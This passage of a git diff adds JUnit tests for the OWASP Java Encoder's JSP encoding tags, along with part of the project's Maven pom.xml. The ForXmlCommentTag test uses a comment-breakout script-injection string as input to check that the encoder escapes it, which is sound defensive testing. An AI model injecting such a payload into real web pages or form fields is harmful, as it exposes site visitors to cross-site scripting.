+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForJavaScriptBlockTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptBlockTagTest extends EncodingTagTest {
+
+ public ForJavaScriptBlockTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForJavaScriptBlockTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForJavaScriptBlockTag instance = new ForJavaScriptBlockTag();
+ String value = "'\"\0";
+ String expected = "\\'\\\"\\x00";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptSourceTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptSourceTagTest.java
new file mode 100644
index 0000000..0ea95fc
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptSourceTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForJavaScriptSourceTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptSourceTagTest extends EncodingTagTest {
+
+ public ForJavaScriptSourceTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForJavaScriptSourceTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForJavaScriptSourceTag instance = new ForJavaScriptSourceTag();
+ String value = "\0'\"";
+ String expected = "\\x00\\'\\\"";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptTagTest.java
new file mode 100644
index 0000000..2d4f67a
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptTagTest.java
@@ -0,0 +1,46 @@
+/*
+ * To change this template, choose Tools | Templates
+ * and open the template in the editor.
+ */
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForJavaScriptTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptTagTest extends EncodingTagTest {
+
+ public ForJavaScriptTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForJavaScriptTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForJavaScriptTag instance = new ForJavaScriptTag();
+ String value = "\0'\"";
+ String expected = "\\x00\\x27\\x22";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForUriComponentTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForUriComponentTagTest.java
new file mode 100644
index 0000000..3d9d11c
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForUriComponentTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForUriComponentTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForUriComponentTagTest extends EncodingTagTest {
+
+ public ForUriComponentTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForUriComponentTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForUriComponentTag instance = new ForUriComponentTag();
+ String value = "&amp;=test";
+ String expected = "%26amp%3B%3Dtest";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForUriTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForUriTagTest.java
new file mode 100644
index 0000000..ac16812
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForUriTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForUriTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForUriTagTest extends EncodingTagTest {
+
+ public ForUriTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForUriTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForUriTag instance = new ForUriTag();
+ String value = "\\\"";
+ String expected = "%5C%22";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForXmlAttributeTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlAttributeTagTest.java
new file mode 100644
index 0000000..4246516
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlAttributeTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForXmlAttributeTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlAttributeTagTest extends EncodingTagTest {
+
+ public ForXmlAttributeTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForXmlAttributeTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForXmlAttributeTag instance = new ForXmlAttributeTag();
+ String value = "<div>";
+ String expected = "&lt;div>";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForXmlCommentTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlCommentTagTest.java
new file mode 100644
index 0000000..cea3db3
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlCommentTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForXmlCommentTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlCommentTagTest extends EncodingTagTest {
+
+ public ForXmlCommentTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForXmlCommentTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForXmlCommentTag instance = new ForXmlCommentTag();
+ String value = "--><script>alert(0)</script><!--";
+ String expected = "-~><script>alert(0)</script><!-~";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForXmlContentTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlContentTagTest.java
new file mode 100644
index 0000000..536c265
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlContentTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForXmlContentTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlContentTagTest extends EncodingTagTest {
+
+ public ForXmlContentTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForXmlContentTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForXmlContentTag instance = new ForXmlContentTag();
+ String value = "<div>";
+ String expected = "&lt;div&gt;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForXmlTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlTagTest.java
new file mode 100644
index 0000000..b55d2be
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForXmlTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForXmlTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForXmlTagTest extends EncodingTagTest {
+
+ public ForXmlTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForXmlTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForXmlTag instance = new ForXmlTag();
+ String value = "<div>";
+ String expected = "&lt;div&gt;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/pom.xml b/pom.xml
new file mode 100755
index 0000000..069f16f
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,496 @@
+<?xml version="1.0" encoding="US-ASCII"?>
+<!--
+~ Copyright (c) 2015 OWASP.
+~ All rights reserved.
+~
+~ Redistribution and use in source and binary forms, with or without
+~ modification, are permitted provided that the following conditions
+~ are met:
+~
+~ * Redistributions of source code must retain the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer.
+~
+~ * Redistributions in binary form must reproduce the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer in the documentation and/or other materials
+~ provided with the distribution.
+~
+~ * Neither the name of the OWASP nor the names of its
+~ contributors may be used to endorse or promote products
+~ derived from this software without specific prior written
+~ permission.
+~
+~ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+~ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+~ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+~ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+~ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+~ INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+~ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+~ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+~ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+~ STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+~ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+~ OF THE POSSIBILITY OF SUCH DAMAGE.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-parent</artifactId>
+ <version>1.2.3</version>
+ <packaging>pom</packaging>
+
+ <name>OWASP Java Encoder Project</name>
+ <description>
+ The OWASP Encoders package is a collection of high-performance low-overhead
+ contextual encoders, that when utilized correctly, is an effective tool in
+ preventing Web Application security vulnerabilities such as Cross-Site
+ Scripting.
+ </description>
+
+ <modules>
+ <module>core</module>
+ <module>jsp</module>
+ <module>esapi</module>
+ </modules>
+
+ <url>https://www.owasp.org/index.php/OWASP_Java_Encoder_Project</url>
+ <inceptionYear>2011</inceptionYear>
+ <organization>
+ <name>OWASP (Open Web-Application Security Project)</name>
+ <url>https://www.owasp.org/</url>
+ </organization>
+
+ <licenses>
+ <license>
+ <name>The BSD 3-Clause License</name>
+ <url>http://www.opensource.org/licenses/BSD-3-Clause</url>
+ <distribution>repo</distribution>
+ </license>
+ </licenses>
+
+ <parent>
+ <groupId>org.sonatype.oss</groupId>
+ <artifactId>oss-parent</artifactId>
+ <version>9</version>
+ </parent>
+
+ <scm>
+ <developerConnection>scm:git:git@github.com:owasp/owasp-java-encoder.git</developerConnection>
+ <connection>scm:git:git@github.com:owasp/owasp-java-encoder.git</connection>
+ <url>https://github.com/owasp/owasp-java-encoder</url>
+ </scm>
+ <distributionManagement>
+ <site>
+ <id>gh-pages</id>
+ <name>gh-pages</name>
+ <url>http://owasp.github.io/owasp-java-encoder</url>
+ </site>
+ </distributionManagement>
+ <mailingLists>
+ <mailingList>
+ <name>Owasp-java-encoder-project</name>
+ <subscribe>https://lists.owasp.org/mailman/listinfo/owasp-java-encoder-project</subscribe>
+ <unsubscribe>https://lists.owasp.org/mailman/listinfo/owasp-java-encoder-project</unsubscribe>
+ <post>owasp-java-encoder-project@lists.owasp.org</post>
+ <archive>http://lists.owasp.org/pipermail/owasp-java-encoder-project/</archive>
+ </mailingList>
+ </mailingLists>
+
+ <issueManagement>
+ <system>github</system>
+ <url>https://github.com/owasp/owasp-java-encoder/issues</url>
+ </issueManagement>
+
+ <developers>
+ <developer>
+ <name>Jeff Ichnowski</name>
+ <roles>
+ <role>Project Owner</role>
+ <role>Architect</role>
+ <role>Developer</role>
+ </roles>
+ </developer>
+ <developer>
+ <name>Jim Manico</name>
+ <organization>OWASP</organization>
+ <organizationUrl>https://www.owasp.org/</organizationUrl>
+ <roles>
+ <role>Architect</role>
+ <role>Developer</role>
+ </roles>
+ </developer>
+ <developer>
+ <name>Jeremy Long</name>
+ <email>jeremy.long@owasp.org</email>
+ <organization>OWASP</organization>
+ <organizationUrl>https://www.owasp.org/</organizationUrl>
+ <roles>
+ <role>developer</role>
+ </roles>
+ </developer>
+ </developers>
+
+ <properties>
+ <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+ <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
+ </properties>
+
+ <dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>junit</groupId>
+ <artifactId>junit</artifactId>
+ <version>3.8.2</version>
+ </dependency>
+ </dependencies>
+ </dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>junit</groupId>
+ <artifactId>junit</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+ <build>
+ <pluginManagement>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <version>3.10.1</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-jar-plugin</artifactId>
+ <version>3.2.2</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-source-plugin</artifactId>
+ <version>3.2.1</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-javadoc-plugin</artifactId>
+ <version>3.4.0</version>
+ </plugin>
+ <plugin>
+ <groupId>org.jacoco</groupId>
+ <artifactId>jacoco-maven-plugin</artifactId>
+ <version>0.8.8</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-failsafe-plugin</artifactId>
+ <version>2.19.1</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-plugin</artifactId>
+ <version>2.19.1</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-report-plugin</artifactId>
+ <version>2.19.1</version>
